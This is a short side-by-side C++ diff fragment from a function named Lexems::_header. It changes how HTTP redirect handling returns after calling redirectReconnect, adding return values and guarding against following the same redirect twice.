if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff);
}; } return -1;
} }
else else
{ {
@ -3023,8 +3049,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirStr); redirStrLst->push_back(redirStr);
redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff);
}; } return -1;
return -2; return -2;
}; };
} }